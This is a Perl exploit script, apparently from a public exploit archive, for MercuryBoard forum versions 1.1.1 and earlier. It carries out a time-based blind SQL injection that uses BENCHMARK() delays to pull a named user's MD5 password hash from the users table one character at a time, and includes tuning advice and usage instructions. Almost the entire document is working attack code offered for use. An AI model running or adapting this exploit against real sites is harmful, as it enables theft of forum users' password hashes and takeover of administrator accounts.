MercuryBoard versions 1.1.1 and below blind bruteforcing utility.
9307293808acfc5d6acbad4a8cf847e983e65d2873bd5677a0007b73ca90bd40
#!/usr/bin/perl
#
# MercuryBoard <= 1.1.1 Blind Bruteforcer by Zeelock
#
# Version 1.0 - No Privileges in the forum are Needed;
# Version 1.1 - LightingFast (Using Hires-Timing) (even 18 sec in localhost!);
# Version 1.2 - Auto CHAR() encoding for the user_name string;
#
# Many Thanks to Pokleyzz and WarAxe
#
# Bug found by Alberto Trivero (www.codebug.org)
#
# -------------------------------------------------
#
# This exploit works if tables names in the Database
# are the default ones. If you deal with prefix_tables
# you have to change $blindquery. Prefix is usually not difficult
# to find cause debugging in MercuryBoard is enabled by
# default and all errors are displayed.
#
# --------------------------------------------------
#
# Nb. I suggest to tune $bench and $avground according server
# performance and workload. $bench will slowdown the remote
# processing with thousands of MD5 function. $avground is
# an adjustement for the micro average time.
#
# $avground represents the server time for processing the
# BENCHMARK() func. If you change $bench, you should change
# $avground as well.
#
use IO::Socket;
use Time::Hires;
sub parse_url {
local($url) = @_;
if ($url =~ m#^(\w+):#) {
$protocol = $1;
$protocol =~ tr/A-Z/a-z/;
} else {
return undef;
}
if ($protocol eq "http") {
if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) {
$server = $1;
$server =~ tr/A-Z/a-z/;
$port = ($2 ne "" ? $2 : $http_port);
$path = ( $3 ? $3 : '/');
return ($protocol, $server, $port, $path);
}
return undef;
}
}
# --------------------------------------------------
# Defining Variables:
$logfile = "mercurylog.txt";
@ascii = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
$url = $ARGV[0];
$prefix = $ARGV[1];
$username = $ARGV[2];
$goodtopic = 123;
$http_port = 80;
# --------------------------------------------------
# Tune the following parameters as described before.
$bench =200000;
$avground = 0.75;
# --------------------------------------------------
if (@ARGV < 3) { &tips; }
@targ = parse_url($url);
print q(
========================================================
| |
| Let's calculate Average Page Generation Time... |
| |
=================== Made by Zeelock ====================
);
for($cnt=0;$cnt<25;$cnt++)
{
MakeGetRequest($targ[1], $targ[2], $targ[3]);
$sum += $testgen;
}
$avgtime = ($sum / 25);
$logline = "Average generation time --> " . $avgtime . "sec " ;
print $logline . "\n";
Writelogline($logline);
$md5hash = "";
foreach $char (split //, $username) {
$charstr .= ord($char).",";
}
substr($charstr,-1,1) = "%20";
for($nr=1;$nr<33;$nr++)
{
for($cnt=0;$cnt<16;$cnt++)
{
$charn = ord(@ascii[$cnt]);
$logline = "| ";
print $logline . "\n";
Writelogline($logline);
$logline = "| Position --> " . $nr . " Char --> " . @ascii[$cnt];
print $logline . "\n";
Writelogline($logline);
#---------------------------------------------------------------
# Nb.
# If You have a prefix for the tables or if you want to retrieve
# different content you have mainly to change the following query.
#
$blindquery = "a=post&s=reply&t=". $goodtopic ."%20UNION%20SELECT%20IF".
"(SUBSTRING(user_password,". $nr .",1)%20=%20CHAR(" . $charn ."),".
"BENCHMARK(". $bench .",MD5(CHAR(1))),null),null,null,null,null%20FROM%20" .
$prefix."_users%20WHERE%20user_name%20=%20CHAR(".$charstr.")%20LIMIT%201/*";
MakeGetRequest($targ[1], $targ[2], $targ[3], $blindquery);
$logline = "| ";
print $logline . "\n";
Writelogline($logline);
$logline = "| Generation Time --> " . $testgen . " sec";
print $logline . "\n";
Writelogline($logline);
if(($testgen) > ($avgtime + $avground))
{
$md5hash .= @ascii[$cnt];
$logline = "| ". "\n";
print $logline . "\n";
Writelogline($logline);
$logline = " >>---> Current MD5 >>---> " . $md5hash . "\n";
print $logline . "\n";
Writelogline($logline);
$cnt = 17;
$break;
}
}
}
$logline = "| ";
print $logline . "\n";
Writelogline($logline);
$logline = " ---> Final MD5 --> " . $md5hash;
print $logline . "\n";
Writelogline($logline);
exit();
sub MakeGetRequest()
{
$testinitial = Time::HiRes::time();
$socket = IO::Socket::INET->new(PeerAddr => $targ[1],
PeerPort => $targ[2],
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $targ[1]:$targ[2] : $@\n";
$str = "GET " . $targ[3] ."?". $blindquery . " HTTP/1.0\r\n";
print $socket $str;
print $socket "Host: $targ[1]:$targ[2]\r\n\r\n";
$buff = "";
while ($answer = <$socket>)
{
$wait .= $answer;
}
close($socket);
$testtfinal = Time::HiRes::time();
$testgen = ($testtfinal - $testinitial);
return($testgen);
}
# --------------------------------------------------
# A simple Log-Writer:
sub Writelogline($)
{
$logline=$_[0];
$writeline = $logline . "\n";
open (LOG, ">>$logfile") || die "Can't open $logfile\n";
print LOG $writeline;
close LOG;
}
sub tips()
{
print q(
========================================================
| |
| MercuryBoard <= 1.1.1 Fast Blind BruteForcer |
| |
| mb111-zk.pl <index.php url> <Table Prefix> <Username> |
| |
========================================================
| |
| Ex.: mb111-zk.pl http://127.0.0.1/index.php mb Admin |
| |
=================== Made by Zeelock ====================
);
exit();
}